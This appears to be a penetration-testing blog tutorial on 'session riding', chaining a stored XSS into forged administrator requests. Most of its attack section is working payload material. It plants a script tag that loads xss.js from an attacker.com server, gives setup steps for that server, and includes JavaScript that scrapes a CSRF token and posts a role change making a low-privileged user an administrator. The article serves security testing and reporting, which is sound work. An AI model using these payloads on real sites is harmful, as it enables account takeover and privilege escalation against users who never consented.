Cross-Site Scripting - Session Riding (XSS To CSRF)
2024-04-27
The worst thing to see in a penetration testing report is a vulnerability with no impact. I am sure we are all sick of XSS findings where alert(1)
is put as the proof of concept. As penetration testers, we need to show the clients and developers the actual business impact of our findings. Session riding is the best proof of concept. It has better impact than stealing cookies and shows how a no/low privileged user can escalate up to administrator privileges in an application.
What Is Session Riding
Session riding, also known as XSS to CSRF, occurs when an attacker hijacks a user’s ongoing session to execute actions via an XSS vulnerability. As XSS enables the execution of arbitrary JavaScript within the user’s browser we can create requests which automatically include the session cookies in requests. Leveraging JavaScript objects, we can craft requests to manipulate permissions or execute actions on the same website.
To successfully set up and perform a session riding attack, follow these steps:
1. Identify the XSS vulnerability where we can submit our payload
2. Scope the application to identify which request you want to steal
3. Set up an attack server which will host the malicious JavaScript payload
4. Write the request which will perform the attack
5. Steal and implement the CSRF Token into your request
6. Combine all the previous steps to execute the attack
Step 1 - Identify XSS Vulnerability
There are a lot of resources on how to identify XSS so I will not being going in depth into all the bypass techniques. I highly recommend going through PortSwiggers Training to get a deep look at potential bypasses.
For our attack, we will keep it simple and identify a stored XSS under the comment
parameter for our application. Our request will look like the following:
POST /BlogPost1 HTTP/1.1
Host: vulnerable.com
CSRF-Token: 1234-567-890
Cookie: session_id=abcdefg123
comment=<script>alert(1)</script>
Here we see our XSS payload submitted under /BlogPost1
in the comment
field. If our application is vulnerable, when we navigate to https://vulnerable.com/BlogPost1
we will see an alert box of 1.
With this, we know that the application is vulnerable to an XSS attack and can move onto the next step.
Step 2 - Scoping The Attack Platform
After finding an XSS vulnerability we will want to see what functionality the website has to offer before performing our session riding attack. Often times we will look at the highest privileged users functionality, such as updating permissions or creating new administrator users. Use the following request as an example:
POST /admin/update HTTP/1.1
Host: vulnerable.com
CSRF-Token: 1234-567-890
Cookie: session_id=abcdefg123
user=admin&role=administrator
For this application, we see there is functionality to update user permissions to administrator. We will target this for our attacker, but if we could not identify administrator functionality we could target updating login information.
Step 3 - Setting Up Our Attack Server
We will be hosting the JavaScript payload on an external server. This serves two main purposes.
- We can easily test and update as needed without having to submit new a XSS payloads each time.
- If the vulnerable parameter has a character limit, we can create a short script to call to our external server.
Once we have an external server, we need a domain name for it so we can install Apache2 over HTTPS. This is because if the website is using HTTPS, which almost all do, we also have use HTTPS due to Same Origin Policy.
First, we need to setup a domain name and attach it to our server. I use AWS EC2 with Route53 to perform this after purchasing a domain.
Next, we must setup our server with Apache2 and install TLS certificates for it. For this, I will be using certbot
with the apache2 module.
$ sudo apt-get install apache2
$ sudo apt install certbot python3-certbot-apache
Now we just run certbot with the --apache
option. I will also include the --register-unsafely-without-email
option to avoid setting an email.
$ sudo certbot --apache --register-unsafely-without-email
...
“Which names would you like to activate HTTPS for?”
1. attacker.com
Finally, we must configure any firewall options to allow 443 open to the internet. AWS has inbound rules to set and other
providers have similar functionality or use ufw
.
If everything is setup properly, we should be able to navigate to https://attacker.com
and see the default Apache page.
Step 4 - Creating Session Riding Attack
To perform the actual attack, we will be making use of JavaScript’s XMLHTTPRequest object. This will allow us to make request on the user’s behalf using their session
To start, we need to update our XSS payload to call out to our attacker server. We will use a simple src
to do this.
POST /BlogPost1 HTTP/1.1
Host: vulnerable.com
CSRF-Token: 1234-567-890
Cookie: session_id=abcdefg123
comment=<script src="https://attacker.com/xss.js"></script>
Now when any user navigates to /BlogPost1
, they will be executing the JavaScript stored under https://attacker.com/xss.js
On our attacker server, we will navigate to /var/www/html
and edit xss.js
. Making use of XMLHTTPRequest
we will setup a call to /admin/update
and submit the parameters to update a low privileged user to an administrator user.
var xhr = new XMLHttpRequest();
xhr.open('POST', '/admin/update', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function () {
console.log(this.responseText);
};
xhr.send('user=lowprivuser&role=administrator');
This is pretty easy to interpret. On line two, we are sending a POST
request to /admin/update
with our parameters set in line. We also need to ensure line 3 matching the correct Content-Type
as some application use various content types.
With xss.js
now set, we can test our payload to see if it works properly. We navigate to /BlogPost1
as an administrator user.
GET /BlogPost1 HTTP/1.1
Host: vulnerable.com
CSRF-Token: 1234-567-890
Cookie: session_id=abcdefg123
Viewing our Apache2 logs, we should see a request being made from the application to xss.js
192.168.10.10 - - [27/Apr/2024:10:27:10 -0300] "GET /xss.js HTTP/1.1" 200 3395
Looking at our Burp Proxy History, we will see the website performed our session riding request using the current session cookies.
POST /admin/update HTTP/1.1
Host: vulnerable.com
Cookie: session_id=abcdefg123
user=lowprivuser&role=administrator
Notice how the request did not include the CSRF-Token
header. This means our request should be denied by the application for having an improper, or in our case none, CSRF header set. If the application does not use CSRF, then you are done. However, most application now implement this to counter Cross-Site Request Forgery. This means we will have to steal the CSRF token to use in our request.
Step 5 - Stealing The CSRF Token
The final step before we combine everything is finding where the CSRF token is given to our session. Usually these are assigned at login and tied to the cookies. Looking at the login functionality we can see the CSRF token being placed.
Outbound Request
GET /login HTTP/1.1
Host: vulnerable.com
Example Response
<input type="hidden" name="csrf_token" value="1234-567-890">
Knowing where the CSRF token is assigned, we need to make a request to /login
inside of our session riding attack and steal the CSRF token. There are multiple ways to do this, but the easiest method is to regex match the token and store it inside of a variable. Using regex101 we can copy and paste the entire the entire response and find an expression that will only match the CSRF token.
In our case, it was easy to filter just for the CSRF token. Now we need to create another XMLHTTPRequest
to /login
and match out only the CSRF token.
var match;
var xhr = new XMLHttpRequest();
xhr.open('GET', '/login', true);
xhr.onload = function () {
let text = xhr.responseText;
match = text.match(/[^"]....?-...?-.../g)
console.log(match);
};
xhr.send(null);
This time, inside of the XMLHTTPRequest
we use the text
variable to grab the response from /login
and set the match
variable to the regex string. We have now successfully stolen the CSRF token and are ready to implement it into our session riding attack.
Step 6 - Executing The Attack
With our two scripts now ready, we must update xss.js
on our Apache server to steal the CSRF token and then use it when updating the administrator functionality. Combine both scripts, and add one line to implement the header using the stolen CSRF token
var match;
var xhr = new XMLHttpRequest();
xhr.open('GET', '/login', true);
xhr.onload = function () {
let text = xhr.responseText;
match = text.match(/[^"]....?-...?-.../g)
console.log(match);
};
xhr.send(null);
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '/admin/update', true);
xhr2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr2.setRequestHeader('CSRF-Token', match);
xhr2.onload = function () {
console.log(this.responseText);
};
xhr2.send('user=lowprivuser&role=administrator');
Now when we navigate to our still infected page, we can watch as our requests are made. First we go to our stored XSS payload.
GET /BlogPost1 HTTP/1.1
Host: vulnerable.com
CSRF-Token: 1234-567-890
Cookie: session_id=abcdefg123
Checking our logs again, we see the request was made to our Apache2 server for xss.js
.
192.168.10.10 - - [27/Apr/2024:10:45:10 -0300] "GET /xss.js HTTP/1.1" 200 3395
And if we check our Burp History, we now have two requests being sent. First, our request to /login
was sent where we regex matched the CSRF token.
GET /login HTTP/1.1
Host: vulnerable.com
Then our final request to update the low privileged user to administrator with the CSRF token.
POST /admin/update HTTP/1.1
Host: vulnerable.com
CSRF-Token: 1234-567-890
Cookie: session_id=abcdefg123
user=lowprivuser&role=administrator
Summary
Session riding is a great way to demonstrate impact for XSS vulnerabilities and escalate your privileges within the application. Doing this can easily escalate a medium severity finding to a high severity. Additionally, this can be used to chain multiple vulnerabilities together if some attacks are hidden behind administrator features. Remember to always demonstrate the highest impact an attack can have.
Resources
PortSwigger Cross-site scripting